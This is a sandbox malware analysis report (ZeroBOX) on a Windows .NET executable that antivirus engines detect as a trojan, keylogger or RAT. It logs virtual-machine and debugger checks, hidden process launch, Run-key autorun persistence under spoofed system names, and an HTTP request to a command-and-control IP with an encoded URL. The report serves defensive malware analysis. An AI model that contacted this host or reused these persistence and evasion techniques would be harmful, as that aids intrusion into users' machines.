Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 31, 2021, 1:25 p.m.	July 31, 2021, 1:28 p.m.

Size	543.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`cd16a74d1fe82b5a8f6d6f5f8d3c66c8`
SHA256	`bdeb14ad6ce1ac8539d4b937c593ae706826fd3732ad506de5189521eea43643`
CRC32	`3C25CFD2`
ssdeep	`12288:TqnOVDJzvhHUjYnDpF820X2sAHORA9d8VIiS7e:T+OVldDp+20me08B`
Yara	Malicious_Packer_Zero - Malicious Packer OS_Processor_Check_Zero - OS Processor Check Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) UPX_Zero - UPX packed file IsPE32 - (no description) PE_Header_Zero - PE File Signature Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

fontSessionRuntimehostNetreviewWinInto.exe "C:\Users\test22\AppData\Local\Temp\fontSessionRuntimehostNetreviewWinInto.exe"
1824
- pw.exe "C:\Windows\LiveKernelReports\pw.exe"
  2632

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
82.146.56.118	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (16 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 31, 2021, 1:25 p.m.			0	0
IsDebuggerPresent July 31, 2021, 1:25 p.m.			0	0
IsDebuggerPresent July 31, 2021, 1:25 p.m.			0	0
IsDebuggerPresent July 31, 2021, 1:25 p.m.			0	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 31, 2021, 1:25 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ July 31, 2021, 1:25 p.m.	stacktrace: 0x7fe9294b89b mscorlib+0x4ef8a5 @ 0x7fef0eff8a5 mscorlib+0x4ef609 @ 0x7fef0eff609 mscorlib+0x4ef5c7 @ 0x7fef0eff5c7 mscorlib+0x502d21 @ 0x7fef0f12d21 CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef1fdf713 CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef1fdf242 CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef1fdf30b NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef21a6291 DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef2086d80 DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef2086d0e DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef2086c85 DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef2086dbb NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef21a6175 StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef21166ae BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7689652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76fac521 exception.instruction_r: 80 38 00 48 8b 8d 10 02 00 00 48 8b 55 08 e8 d2 exception.instruction: cmp byte ptr [rax], 0 exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x7fe9294b89b registers.r14: 0 registers.r15: 0 registers.rcx: 39531280 registers.rsi: 0 registers.r10: 1024 registers.rbx: 0 registers.rsp: 476052576 registers.r11: 39531280 registers.r8: 476044640 registers.r9: 1679349448729 registers.rdx: 39524200 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

July 31, 2021, 1:25 p.m.

stacktrace:

0x7fe9294b89b
mscorlib+0x4ef8a5 @ 0x7fef0eff8a5
mscorlib+0x4ef609 @ 0x7fef0eff609
mscorlib+0x4ef5c7 @ 0x7fef0eff5c7
mscorlib+0x502d21 @ 0x7fef0f12d21
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef1fdf713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef1fdf242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef1fdf30b
NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef21a6291
DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef2086d80
DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef2086d0e
DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef2086c85
DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef2086dbb
NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef21a6175
StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef21166ae
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7689652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76fac521

exception.instruction_r: 80 38 00 48 8b 8d 10 02 00 00 48 8b 55 08 e8 d2
exception.instruction: cmp byte ptr [rax], 0
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe9294b89b
registers.r14: 0
registers.r15: 0
registers.rcx: 39531280
registers.rsi: 0
registers.r10: 1024
registers.rbx: 0
registers.rsp: 476052576
registers.r11: 39531280
registers.r8: 476044640
registers.r9: 1679349448729
registers.rdx: 39524200
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://82.146.56.118/output/_cached/geobigload.php?TiEPLgb=vmD&ad6fc5a71e08cad6b25afb005d99d2f7=b75b4e2a4b0a366ebea4ca0e2b08fb9a&172f40978ebaeaf91ae72f4e0299547c=QNjhTO4Q2NiJWMjRWO1IjYwIjM5ADNzQWMiVWNxUjNxIzMmJmY3QGO&TiEPLgb=vmD

Performs some HTTP requests (1 event)

request

Allocates read-write-execute memory (usually to unpack itself) (50 out of 129 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000640000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000007f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2f8b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a10000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9317a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9318c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9322c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93256000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93230000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9317b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9319b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe931cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9319d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9317c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9318d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9318a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93172000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93300000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93301000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe931cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 1824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW July 31, 2021, 1:25 p.m.	total_number_of_free_bytes: 12314316800 free_bytes_available: 12314316800 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0
GetDiskFreeSpaceExW July 31, 2021, 1:25 p.m.	total_number_of_free_bytes: 12309352448 free_bytes_available: 12309352448 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 31, 2021, 1:25 p.m.	show_type: 0 filepath_r: C:\Windows\LiveKernelReports\pw.exe parameters: filepath: C:\Windows\LiveKernelReports\pw.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 31, 2021, 1:25 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 31, 2021, 1:25 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW July 31, 2021, 1:25 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

82.146.56.118

Installs itself for autorun at Windows startup (7 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mobsync	reg_value	"C:\Documents and Settings\mobsync.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss	reg_value	"C:\Python27\click\click\click_image\csrss.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Windows\LiveKernelReports\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System	reg_value	"C:\Windows\Temp\Crashpad\reports\System.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit	reg_value	"C:\Windows\System32\onexui\wininit.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss	reg_value	"C:\Windows\System32\RegisterIEPKEYs\csrss.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\Windows\System32\KBDIULAT\taskhost.exe"

File has been identified by 33 AntiVirus engines on VirusTotal as malicious (33 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.MSIL.Basic.8.Gen
FireEye	Generic.mg.cd16a74d1fe82b5a
CAT-QuickHeal	Trojan.YakbeexMSIL.ZZ4
Qihoo-360	HEUR/QVM03.0.EEBB.Malware.Gen
ALYac	Trojan.MSIL.Basic.8.Gen
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.d1fe82
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Spy.Agent.AES
APEX	Malicious
ClamAV	Win.Packed.Uztuby-9853721-0
Kaspersky	VHO:Backdoor.Win32.Convagent.gen
BitDefender	Trojan.MSIL.Basic.8.Gen
Avast	Win32:KeyloggerX-gen [Trj]
Ad-Aware	Trojan.MSIL.Basic.8.Gen
Sophos	Mal/SpyNoon-A
DrWeb	BackDoor.QuasarNET.3
McAfee-GW-Edition	BehavesLike.Win32.Generic.hm
Emsisoft	Trojan.MSIL.Basic.8.Gen (B)
SentinelOne	Static AI - Malicious PE
Microsoft	Trojan:Win32/AgentTesla!ml
GData	Trojan.MSIL.Basic.8.Gen
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.Spy.C4559049
McAfee	GenericRXPF-LQ!CD16A74D1FE8
MAX	malware (ai score=85)
Malwarebytes	Malware.AI.1641136126
Ikarus	Trojan.MSIL.Spy
eGambit	Unsafe.AI_Score_99%
BitDefenderTheta	Gen:NN.ZemsilF.34050.Hm0@aiHoMmgi
AVG	Win32:KeyloggerX-gen [Trj]
CrowdStrike	win/malicious_confidence_100% (D)

fontSessionRuntimehostNetreviewWinInto.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All